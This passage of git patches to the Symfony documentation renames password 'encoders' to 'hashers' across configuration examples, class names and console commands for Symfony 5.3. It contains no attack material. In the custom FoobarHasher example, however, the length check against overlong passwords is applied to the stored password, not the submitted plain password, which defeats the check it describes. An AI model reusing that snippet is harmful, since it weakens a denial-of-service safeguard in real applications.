-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::isPasswordValid`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
    must first of all make sure the password is not too long, i.e. the password length is no longer
    than 4096 characters. This is for security reasons (see `CVE-2013-5750`_), and you can use the
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder::isPasswordTooLong`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
    method for this check::
 
-       use Symfony\Component\Security\Core\Encoder\BasePasswordEncoder;
+       use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
+       use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
        use Symfony\Component\Security\Core\Exception\BadCredentialsException;
 
-       class FoobarEncoder extends BasePasswordEncoder
+       class FoobarHasher extends UserPasswordHasher
        {
-           public function encodePassword($raw, $salt)
+           use CheckPasswordLengthTrait;
+
+           public function hashPassword(UserInterface $user, string $plainPassword): string
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    throw new BadCredentialsException('Invalid password.');
                }
 
                // ...
            }
 
-           public function isPasswordValid($encoded, $raw, $salt)
+           public function isPasswordValid(UserInterface $user, string $plainPassword)
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    return false;
                }
 
@@ -235,13 +242,15 @@ own, it needs to follow these rules:
            }
        }
 
-Using Password Encoders
-~~~~~~~~~~~~~~~~~~~~~~~
+.. _using-password-encoders:
 
-When the :method:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory::getEncoder`
-method of the password encoder factory is called with the user object as
-its first argument, it will return an encoder of type :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-which should be used to encode this user's password::
+Using Password Hashers
+~~~~~~~~~~~~~~~~~~~~~~
+
+When the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory::getPasswordHasher`
+method of the password hasher factory is called with the user object as
+its first argument, it will return a hasher of type :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
+which should be used to hash this user's password::
 
     // a Acme\Entity\LegacyUser instance
     $user = ...;
@@ -249,12 +258,12 @@ which should be used to encode this user's password::
     // the password that was submitted, e.g. when registering
     $plainPassword = ...;
 
-    $encoder = $encoderFactory->getEncoder($user);
+    $hasher = $hasherFactory->getPasswordHasher($user);
 
-    // returns $weakEncoder (see above)
-    $encodedPassword = $encoder->encodePassword($plainPassword, $user->getSalt());
+    // returns $weakHasher (see above)
+    $hashedPassword = $hasher->hashPassword($user, $plainPassword);
 
-    $user->setPassword($encodedPassword);
+    $user->setPassword($hashedPassword);
 
     // ... save the user
 
@@ -267,11 +276,7 @@ in) is correct, you can use::
     // the submitted password, e.g. from the login form
     $plainPassword = ...;
 
-    $validPassword = $encoder->isPasswordValid(
-        $user->getPassword(), // the encoded password
-        $plainPassword,       // the submitted password
-        $user->getSalt()
-    );
+    $validPassword = $hasher->isPasswordValid($user, $plainPassword);
 
 Authentication Events
 ---------------------
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 630c65879f1..a7b644add9a 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -40,7 +40,7 @@ Some of these options define tens of sub-options and they are explained in
 separate articles:
 
 * `access_control`_
-* `encoders`_
+* `hashers`_
 * `firewalls`_
 * `providers`_
 * `role_hierarchy`_
@@ -120,15 +120,16 @@ and to allow anonymous users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
-encoders
---------
+.. _encoders:
 
-This option defines the algorithm used to *encode* the password of the users.
-Although Symfony calls it *"password encoding"* for historical reasons, this is
-in fact, *"password hashing"*.
+hashers
+-------
+
+This option defines the algorithm used to *hash* the password of the users
+(which in previous Symfony versions was wrongly called *"password encoding"*).
 
 If your app defines more than one user class, each of them can define its own
-encoding algorithm. Also, each algorithm defines different config options:
+hashing algorithm. Also, each algorithm defines different config options:
 
 .. configuration-block::
 
@@ -138,25 +139,25 @@ encoding algorithm. Also, each algorithm defines different config options:
         security:
             # ...
 
-            encoders:
-                # auto encoder with default options
+            password_hashers:
+                # auto hasher with default options
                 App\Entity\User: 'auto'
 
-                # auto encoder with custom options
+                # auto hasher with custom options
                 App\Entity\User:
                     algorithm: 'auto'
                     cost:      15
 
-                # Sodium encoder with default options
+                # Sodium hasher with default options
                 App\Entity\User: 'sodium'
 
-                # Sodium encoder with custom options
+                # Sodium hasher with custom options
                 App\Entity\User:
                     algorithm:   'sodium'
                     memory_cost:  16384 # Amount in KiB. (16384 = 16 MiB)
                     time_cost:    2     # Number of iterations
 
-                # MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
+                # MessageDigestPasswordHasher hasher using SHA512 hashing with default options
                 App\Entity\User: 'sha512'
 
     .. code-block:: xml
@@ -173,37 +174,37 @@ encoding algorithm. Also, each algorithm defines different config options:
 
             <config>
                 <!-- ... -->
-                <!-- auto encoder with default options -->
-                <encoder
+                <!-- auto hasher with default options -->
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="auto"
                 />
 
-                <!-- auto encoder with custom options -->
-                <encoder
+                <!-- auto hasher with custom options -->
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="auto"
                     cost="15"
                 />
 
-                <!-- Sodium encoder with default options -->
-                <encoder
+                <!-- Sodium hasher with default options -->
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="sodium"
                 />
 
-                <!-- Sodium encoder with custom options -->
+                <!-- Sodium hasher with custom options -->
                 <!-- memory_cost: amount in KiB. (16384 = 16 MiB)
                      time_cost: number of iterations -->
-                <encoder
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="sodium"
                     memory_cost="16384"
                     time_cost="2"
                 />
 
-                <!-- MessageDigestPasswordEncoder encoder using SHA512 hashing with default options -->
-                <encoder
+                <!-- MessageDigestPasswordHasher hasher using SHA512 hashing with default options -->
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="sha512"
                 />
@@ -217,55 +218,61 @@ encoding algorithm. Also, each algorithm defines different config options:
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
-                // auto encoder with default options
+            'password_hashers' => [
+                // auto hasher with default options
                 User::class => [
                     'algorithm' => 'auto',
                 ],
 
-                // auto encoder with custom options
+                // auto hasher with custom options
                 User::class => [
                     'algorithm' => 'auto',
                     'cost'      => 15,
                 ],
 
-                // Sodium encoder with default options
+                // Sodium hasher with default options
                 User::class => [
                     'algorithm' => 'sodium',
                 ],
 
-                // Sodium encoder with custom options
+                // Sodium hasher with custom options
                 User::class => [
                     'algorithm' => 'sodium',
                     'memory_cost' => 16384, // Amount in KiB. (16384 = 16 MiB)
                     'time_cost' => 2,       // Number of iterations
                 ],
 
-                // MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
+                // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
                 User::class => [
                     'algorithm' => 'sha512',
                 ],
             ],
         ]);
 
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
 .. tip::
 
-    You can also create your own password encoders as services and you can even
-    select a different password encoder for each user instance. Read
-    :doc:`this article </security/named_encoders>` for more details.
+    You can also create your own password hashers as services and you can even
+    select a different password hasher for each user instance. Read
+    :doc:`this article </security/named_hashers>` for more details.
 
 .. tip::
 
-    Encoding passwords is resource intensive and takes time in order to generate
+    Hashing passwords is resource intensive and takes time in order to generate
     secure password hashes. In tests however, secure hashes are not important, so
-    you can change the encoders configuration in ``test`` environment to run tests faster:
+    you can change the password hasher configuration in ``test`` environment to
+    run tests faster:
 
     .. configuration-block::
 
         .. code-block:: yaml
 
             # config/packages/test/security.yaml
-            encoders:
+            password_hashers:
                 # Use your user class name here
                 App\Entity\User:
                     algorithm: auto # This should be the same value as in config/packages/security.yaml
@@ -289,7 +296,7 @@ encoding algorithm. Also, each algorithm defines different config options:
                     <!-- cost: Lowest possible value for bcrypt -->
                     <!-- time_cost: Lowest possible value for argon -->
                     <!-- memory_cost: Lowest possible value for argon -->
-                    <encoder
+                    <security:password-hasher
                         class="App\Entity\User"
                         algorithm="auto"
                         cost="4"
@@ -305,7 +312,7 @@ encoding algorithm. Also, each algorithm defines different config options:
             use App\Entity\User;
 
             $container->loadFromExtension('security', [
-                'encoders' => [
+                'password_hashers' => [
                     // Use your user class name here
                     User::class => [
                         'algorithm' => 'auto', // This should be the same value as in config/packages/security.yaml
@@ -318,44 +325,46 @@ encoding algorithm. Also, each algorithm defines different config options:
 
 .. _reference-security-sodium:
 .. _using-the-argon2i-password-encoder:
+.. _using-the-sodium-password-encoder:
 
-Using the Sodium Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using the Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It uses the `Argon2 key derivation function`_ and it's the encoder recommended
+It uses the `Argon2 key derivation function`_ and it's the hasher recommended
 by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
 PHP version, you can install the `libsodium`_ PHP extension.
 
-The encoded passwords are ``96`` characters long, but due to the hashing
+The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
 sure to allocate enough space for them to be persisted. Also, passwords include
 the `cryptographic salt`_ inside them (it's generated automatically for each new
 password) so you don't have to deal with it.
 
 .. _reference-security-encoder-auto:
+.. _using-the-auto-password-encoder:
 
-Using the "auto" Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using the "auto" Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It selects automatically the best possible encoder. Currently, it tries to use
+It selects automatically the best possible hasher. Currently, it tries to use
 Sodium by default and falls back to the `bcrypt password hashing function`_ if
 not possible. In the future, when PHP adds new hashing techniques, it may use
 different password hashers.
 
-It produces encoded passwords with ``60`` characters long, so make sure to
+It produces hashed passwords with ``60`` characters long, so make sure to
 allocate enough space for them to be persisted. Also, passwords include the
 `cryptographic salt`_ inside them (it's generated automatically for each new
 password) so you don't have to deal with it.
 
 Its only configuration option is ``cost``, which is an integer in the range of
 ``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
-time** it takes to encode a password. It's designed this way so the password
+time** it takes to hash a password. It's designed this way so the password
 strength can be adapted to the future improvements in computation power.
 
 You can change the cost at any time — even if you already have some passwords
-encoded using a different cost. New passwords will be encoded using the new
-cost, while the already encoded ones will be validated using a cost that was
-used back when they were encoded.
+hashed using a different cost. New passwords will be hashed using the new
+cost, while the already hashed ones will be validated using a cost that was
+used back when they were hashed.
 
 .. tip::
 
@@ -364,13 +373,14 @@ used back when they were encoded.
     environment configuration.
 
 .. _reference-security-pbkdf2:
+.. _using-the-pbkdf2-encoder:
 
-Using the PBKDF2 Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~
+Using the PBKDF2 Hasher
+~~~~~~~~~~~~~~~~~~~~~~~
 
-Using the `PBKDF2`_ encoder is no longer recommended since PHP added support for
+Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
 Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
-to those newer encoding algorithms.
+to those newer hashing algorithms.
 
 firewalls
 ---------
diff --git a/security.rst b/security.rst
index 57c306fb26d..f5f282f7efa 100644
--- a/security.rst
+++ b/security.rst
@@ -200,12 +200,13 @@ here: :doc:`User Providers </security/user_provider>`.
 
 .. _security-encoding-user-password:
 .. _encoding-the-user-s-password:
+.. _2c-encoding-passwords:
 
-2c) Encoding Passwords
-----------------------
+2c) Hashing Passwords
+---------------------
 
 Not all applications have "users" that need passwords. *If* your users have passwords,
-you can control how those passwords are encoded in ``security.yaml``. The ``make:user``
+you can control how those passwords are hashed in ``security.yaml``. The ``make:user``
 command will pre-configure this for you:
 
 .. configuration-block::
@@ -216,10 +217,10 @@ command will pre-configure this for you:
         security:
             # ...
 
-            encoders:
+            password_hashers:
                 # use your user class name here
                 App\Entity\User:
-                    # Use native password encoder, which auto-selects the best
+                    # Use native password hasher, which auto-selects the best
                     # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
                     algorithm: auto
 
@@ -238,7 +239,7 @@ command will pre-configure this for you:
             <config>
                 <!-- ... -->
 
-                <encoder class="App\Entity\User"
+                <security:password-hasher class="App\Entity\User"
                     algorithm="auto"
                     cost="12"/>
 
@@ -254,7 +255,7 @@ command will pre-configure this for you:
         $container->loadFromExtension('security', [
             // ...
 
-            'encoders' => [
+            'password_hashers' => [
                 User::class => [
                     'algorithm' => 'auto',
                     'cost' => 12,
@@ -264,8 +265,13 @@ command will pre-configure this for you:
             // ...
         ]);
 
-Now that Symfony knows *how* you want to encode the passwords, you can use the
-``UserPasswordEncoderInterface`` service to do this before saving your users to
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+Now that Symfony knows *how* you want to hash the passwords, you can use the
+``UserPasswordHasherInterface`` service to do this before saving your users to
 the database.
 
 .. _user-data-fixture:
@@ -280,22 +286,22 @@ create dummy database users:
     The class name of the fixtures to create (e.g. AppFixtures):
     > UserFixtures
 
-Use this service to encode the passwords:
+Use this service to hash the passwords:
 
 .. code-block:: diff
 
       // src/DataFixtures/UserFixtures.php
 
-    + use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
+    + use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
       // ...
 
       class UserFixtures extends Fixture
       {
-    +     private $passwordEncoder;
+    +     private $passwordHasher;
 
-    +     public function __construct(UserPasswordEncoderInterface $passwordEncoder)
+    +     public function __construct(UserPasswordHasherInterface $passwordHasher)
     +     {
-    +         $this->passwordEncoder = $passwordEncoder;
+    +         $this->passwordHasher = $passwordHasher;
     +     }
 
           public function load(ObjectManager $manager)
@@ -303,7 +309,7 @@ Use this service to encode the passwords:
               $user = new User();
               // ...
 
-    +         $user->setPassword($this->passwordEncoder->encodePassword(
+    +         $user->setPassword($this->passwordHasher->hashPassword(
     +             $user,
     +             'the_new_password'
     +         ));
@@ -312,11 +318,11 @@ Use this service to encode the passwords:
           }
       }
 
-You can manually encode a password by running:
+You can manually hash a password by running:
 
 .. code-block:: terminal
 
-    $ php bin/console security:encode-password
+    $ php bin/console security:hash-password
 
 .. _security-yaml-firewalls:
 .. _security-firewalls:
@@ -1503,7 +1509,7 @@ Authentication (Identifying/Logging in the User)
     security/remember_me
     security/impersonating_user
     security/user_checkers
-    security/named_encoders
+    security/named_hashers
     security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
diff --git a/security/named_encoders.rst b/security/named_hashers.rst
similarity index 72%
rename from security/named_encoders.rst
rename to security/named_hashers.rst
index 8ff58f0fbef..c377cfa28e9 100644
--- a/security/named_encoders.rst
+++ b/security/named_hashers.rst
@@ -1,10 +1,10 @@
 .. index::
     single: Security; Named Encoders
 
-How to Use A Different Password Encoder Algorithm Per User
-==========================================================
+How to Use A Different Password Hasher Algorithm Per User
+=========================================================
 
-Usually, the same password encoder is used for all users by configuring it
+Usually, the same password hasher is used for all users by configuring it
 to apply to all instances of a specific class:
 
 .. configuration-block::
@@ -14,7 +14,7 @@ to apply to all instances of a specific class:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
+            password_hashers:
                 App\Entity\User:
                     algorithm: auto
                     cost: 12
@@ -33,7 +33,7 @@ to apply to all instances of a specific class:
         >
             <config>
                 <!-- ... -->
-                <encoder class="App\Entity\User"
+                <security:password-hasher class="App\Entity\User"
                     algorithm="auto"
                     cost="12"
                 />
@@ -47,7 +47,7 @@ to apply to all instances of a specific class:
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
+            'password_hashers' => [
                 User::class => [
                     'algorithm' => 'auto',
                     'cost' => 12,
@@ -55,13 +55,13 @@ to apply to all instances of a specific class:
             ],
         ]);
 
-Another option is to use a "named" encoder and then select which encoder
+Another option is to use a "named" hasher and then select which hasher
 you want to use dynamically.
 
 In the previous example, you've set the ``auto`` algorithm for ``App\Entity\User``.
 This may be secure enough for a regular user, but what if you want your admins
 to have a stronger algorithm, for example ``auto`` with a higher cost. This can
-be done with named encoders:
+be done with named hashers:
 
 .. configuration-block::
 
@@ -70,7 +70,7 @@ be done with named encoders:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
+            password_hashers:
                 harsh:
                     algorithm: auto
                     cost: 15
@@ -90,7 +90,7 @@ be done with named encoders:
 
             <config>
                 <!-- ... -->
-                <encoder class="harsh"
+                <security:password-hasher class="harsh"
                     algorithm="auto"
                     cost="15"/>
             </config>
@@ -101,7 +101,7 @@ be done with named encoders:
         // config/packages/security.php
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
+            'password_hashers' => [
                 'harsh' => [
                     'algorithm' => 'auto',
                     'cost'      => '15',
@@ -115,33 +115,33 @@ be done with named encoders:
     then the recommended hashing algorithm to use is
     :ref:`Sodium <reference-security-sodium>`.
 
-This creates an encoder named ``harsh``. In order for a ``User`` instance
+This creates a hasher named ``harsh``. In order for a ``User`` instance
 to use it, the class must implement
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderAwareInterface`.
-The interface requires one method - ``getEncoderName()`` - which should return
-the name of the encoder to use::
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
+The interface requires one method - ``getPasswordHasherName()`` - which should return
+the name of the hasher to use::
 
     // src/Entity/User.php
     namespace App\Entity;
 
-    use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 
-    class User implements UserInterface, EncoderAwareInterface
+    class User implements UserInterface, PasswordHasherAwareInterface
     {
-        public function getEncoderName(): ?string
+        public function getPasswordHasherName(): ?string
         {
             if ($this->isAdmin()) {
                 return 'harsh';
             }
 
-            return null; // use the default encoder
+            return null; // use the default hasher
         }
     }
 
-If you created your own password encoder implementing the
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`,
-you must register a service for it in order to use it as a named encoder:
+If you created your own password hasher implementing the
+:class:`SSymfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
+you must register a service for it in order to use it as a named hasher:
 
 .. configuration-block::
 
@@ -150,9 +150,9 @@ you must register a service for it in order to use it as a named encoder:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
-                app_encoder:
-                    id: 'App\Security\Encoder\MyCustomPasswordEncoder'
+            password_hashers:
+                app_hasher:
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
 
     .. code-block:: xml
 
@@ -169,8 +169,8 @@ you must register a service for it in order to use it as a named encoder:
 
             <config>
                 <!-- ... -->
-                <encoder class="app_encoder"
-                    id="App\Security\Encoder\MyCustomPasswordEncoder"/>
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
             </config>
         </srv:container>
 
@@ -178,18 +178,18 @@ you must register a service for it in order to use it as a named encoder:
 
         // config/packages/security.php
         // ...
-        use App\Security\Encoder\MyCustomPasswordEncoder;
+        use App\Security\Hasher\MyCustomPasswordHasher;
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
-                'app_encoder' => [
-                    'id' => MyCustomPasswordEncoder::class,
+            'password_hashers' => [
+                'app_hasher' => [
+                    'id' => MyCustomPasswordHasher::class,
                 ],
             ],
         ]);
 
-This creates an encoder named ``app_encoder`` from a service with the ID
-``App\Security\Encoder\MyCustomPasswordEncoder``.
+This creates a hasher named ``app_hasher`` from a service with the ID
+``App\Security\Hasher\MyCustomPasswordHasher``.
 
 .. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 52e263d478c..f49e01c887a 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -9,16 +9,18 @@ hash algorithms. This means that if a better hash algorithm is supported on your
 system, the user's password should be *rehashed* using the newer algorithm and
 stored. That's possible with the ``migrate_from`` option:
 
-#. `Configure a new Encoder Using "migrate_from"`_
+#. `Configure a new Hasher Using "migrate_from"`_
 #. `Upgrade the Password`_
-#. Optionally, `Trigger Password Migration From a Custom Encoder`_
+#. Optionally, `Trigger Password Migration From a Custom Hasher`_
 
-Configure a new Encoder Using "migrate_from"
-----------------------------------------------
+.. _configure-a-new-encoder-using migrate_from:
+
+Configure a new Hasher Using "migrate_from"
+-------------------------------------------
 
 When a better hashing algorithm becomes available, you should keep the existing
-encoder(s), rename it, and then define the new one. Set the ``migrate_from`` option
-on the new encoder to point to the old, legacy encoder(s):
+hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
+on the new hasher to point to the old, legacy hasher(s):
 
 .. configuration-block::
 
@@ -28,19 +30,19 @@ on the new encoder to point to the old, legacy encoder(s):
         security:
             # ...
 
-            encoders:
-                # an encoder used in the past for some users
+            password_hashers:
+                # a hasher used in the past for some users
                 legacy:
                     algorithm: sha256
                     encode_as_base64: false
                     iterations: 1
 
                 App\Entity\User:
-                    # the new encoder, along with its options
+                    # the new hasher, along with its options
                     algorithm: sodium
                     migrate_from:
-                        - bcrypt # uses the "bcrypt" encoder with the default options
-                        - legacy # uses the "legacy" encoder configured above
+                        - bcrypt # uses the "bcrypt" hasher with the default options
+                        - legacy # uses the "legacy" hasher configured above
 
     .. code-block:: xml
 
@@ -57,22 +59,22 @@ on the new encoder to point to the old, legacy encoder(s):
             <security:config>
                 <!-- ... -->
 
-                <security:encoder class="legacy"
+                <security:password-hasher class="legacy"
                     algorithm="sha256"
                     encode-as-base64="false"
                     iterations="1"
                 />
 
-                <!-- algorithm: the new encoder, along with its options -->
-                <security:encoder class="App\Entity\User"
+                <!-- algorithm: the new hasher, along with its options -->
+                <security:password-hasher class="App\Entity\User"
                     algorithm="sodium"
                 >
-                    <!-- uses the bcrypt encoder with the default options -->
+                    <!-- uses the bcrypt hasher with the default options -->
                     <security:migrate-from>bcrypt</security:migrate-from>
 
-                    <!-- uses the legacy encoder configured above -->
+                    <!-- uses the legacy hasher configured above -->
                     <security:migrate-from>legacy</security:migrate-from>
-                </security:encoder>
+                </security:password-hasher>
             </security:config>
         </container>
 
@@ -82,7 +84,7 @@ on the new encoder to point to the old, legacy encoder(s):
         $container->loadFromExtension('security', [
             // ...
 
-            'encoders' => [
+            'password_hashers' => [
                 'legacy' => [
                     'algorithm' => 'sha256',
                     'encode_as_base64' => false,
@@ -90,11 +92,11 @@ on the new encoder to point to the old, legacy encoder(s):
                 ],
 
                 'App\Entity\User' => [
-                    // the new encoder, along with its options
+                    // the new hasher, along with its options
                     'algorithm' => 'sodium',
                     'migrate_from' => [
-                        'bcrypt', // uses the "bcrypt" encoder with the default options
-                        'legacy', // uses the "legacy" encoder configured above
+                        'bcrypt', // uses the "bcrypt" hasher with the default options
+                        'legacy', // uses the "legacy" hasher configured above
                     ],
                 ],
             ],
@@ -102,14 +104,14 @@ on the new encoder to point to the old, legacy encoder(s):
 
 With this setup:
 
-* New users will be encoded with the new algorithm;
+* New users will be hashed with the new algorithm;
 * Whenever a user logs in whose password is still stored using the old algorithm,
   Symfony will verify the password with the old algorithm and then rehash
   and update the password using the new algorithm.
 
 .. tip::
 
-    The *auto*, *native*, *bcrypt* and *argon* encoders automatically enable
+    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
     password migration using the following list of ``migrate_from`` algorithms:
 
     #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
@@ -117,7 +119,7 @@ With this setup:
 
     Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
     use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
-    encoder is used.
+    hasher is used.
 
 Upgrade the Password
 --------------------
@@ -182,10 +184,10 @@ storing the newly created password hash::
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
         {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
 
             // execute the queries on the database
             $this->getEntityManager()->flush();
@@ -211,34 +213,36 @@ the user provider::
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
         {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
 
             // ... store the new password
         }
     }
 
-Trigger Password Migration From a Custom Encoder
-------------------------------------------------
+.. _trigger-password-migration-from-a-custom-encoder:
+
+Trigger Password Migration From a Custom Hasher
+-----------------------------------------------
 
-If you're using a custom password encoder, you can trigger the password
+If you're using a custom password hasher, you can trigger the password
 migration by returning ``true`` in the ``needsRehash()`` method::
 
-    // src/Security/CustomPasswordEncoder.php
+    // src/Security/CustomPasswordHasher.php
     namespace App\Security;
 
     // ...
-    use Symfony\Component\Security\Core\Encoder\PasswordEncoderInterface;
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
-    class CustomPasswordEncoder implements PasswordEncoderInterface
+    class CustomPasswordHasher implements UserPasswordHasherInterface
     {
         // ...
 
-        public function needsRehash(string $encoded): bool
+        public function needsRehash(string $hashed): bool
         {
-            // check whether the current password is hash using an outdated encoder
+            // check whether the current password is hashed using an outdated hasher
             $hashIsOutdated = ...;
 
             return $hashIsOutdated;
diff --git a/security/user_provider.rst b/security/user_provider.rst
index e7a3cdec79a..9c3ca7ba3ad 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -224,7 +224,7 @@ prototypes and for limited applications that don't store users in databases.
 
 This user provider stores all user information in a configuration file,
 including their passwords. That's why the first step is to configure how these
-users will encode their passwords:
+users will hash their passwords:
 
 .. configuration-block::
 
@@ -233,7 +233,7 @@ users will encode their passwords:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
+            password_hashers:
                 # this internal class is used by Symfony to represent in-memory users
                 # (the 'InMemoryUser' class was introduced in Symfony 5.3.
                 # In previous versions it was called 'User')
@@ -257,7 +257,7 @@ users will encode their passwords:
                 <!-- this internal class is used by Symfony to represent in-memory users -->
                 <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
                      In previous versions it was called 'User') -->
-                <encoder class="Symfony\Component\Security\Core\User\InMemoryUser"
+                <security:password-hasher class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
             </config>
@@ -274,18 +274,18 @@ users will encode their passwords:
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
+            'password_hashers' => [
                 User::class => [
                     'algorithm' => 'auto',
                 ],
             ],
         ]);
 
-Then, run this command to encode the plain text passwords of your users:
+Then, run this command to hash the plain text passwords of your users:
 
 .. code-block:: terminal
 
-    $ php bin/console security:encode-password
+    $ php bin/console security:hash-password
 
 Now you can configure all the user information in ``config/packages/security.yaml``:
 
@@ -304,7 +304,7 @@ Now you can configure all the user information in ``config/packages/security.yam
 .. caution::
 
     When using a ``memory`` provider, and not the ``auto`` algorithm, you have
-    to choose an encoding without salt (i.e. ``bcrypt``).
+    to choose a hashing algorithm without salt (i.e. ``bcrypt``).
 
 .. _security-ldap-user-provider:
 
@@ -427,13 +427,13 @@ command will generate a nice skeleton to get you started::
         }
 
         /**
-         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         * Upgrades the hashed password of a user, typically for using a better hash algorithm.
          */
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
         {
-            // TODO: when encoded passwords are in use, this method should:
+            // TODO: when hashed passwords are in use, this method should:
             // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+            // 2. update the $user object with $user->setPassword($newHashedPassword);
         }
     }
 

From 7e4edd49164c2aa145ef4829074b57d4eeb2f8e9 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Sun, 9 May 2021 14:00:50 +0200
Subject: [PATCH 2174/7107] Fixed some typos related to 5.3 security changes

---
 security/named_hashers.rst | 2 +-
 security/user_provider.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index c377cfa28e9..200a2174c28 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -140,7 +140,7 @@ the name of the hasher to use::
     }
 
 If you created your own password hasher implementing the
-:class:`SSymfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
 you must register a service for it in order to use it as a named hasher:
 
 .. configuration-block::
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 9c3ca7ba3ad..3f5a7a5a7dd 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -275,7 +275,7 @@ users will hash their passwords:
         $container->loadFromExtension('security', [
             // ...
             'password_hashers' => [
-                User::class => [
+                InMemoryUser::class => [
                     'algorithm' => 'auto',
                 ],
             ],

From 454087da68f63fda7577969a55554f73a1f88f56 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 9 May 2021 22:42:02 -0400
Subject: [PATCH 2175/7107] Documenting form field priority option

---
 reference/forms/types/form.rst                 |  3 +++
 reference/forms/types/options/priority.rst.inc | 10 ++++++++++
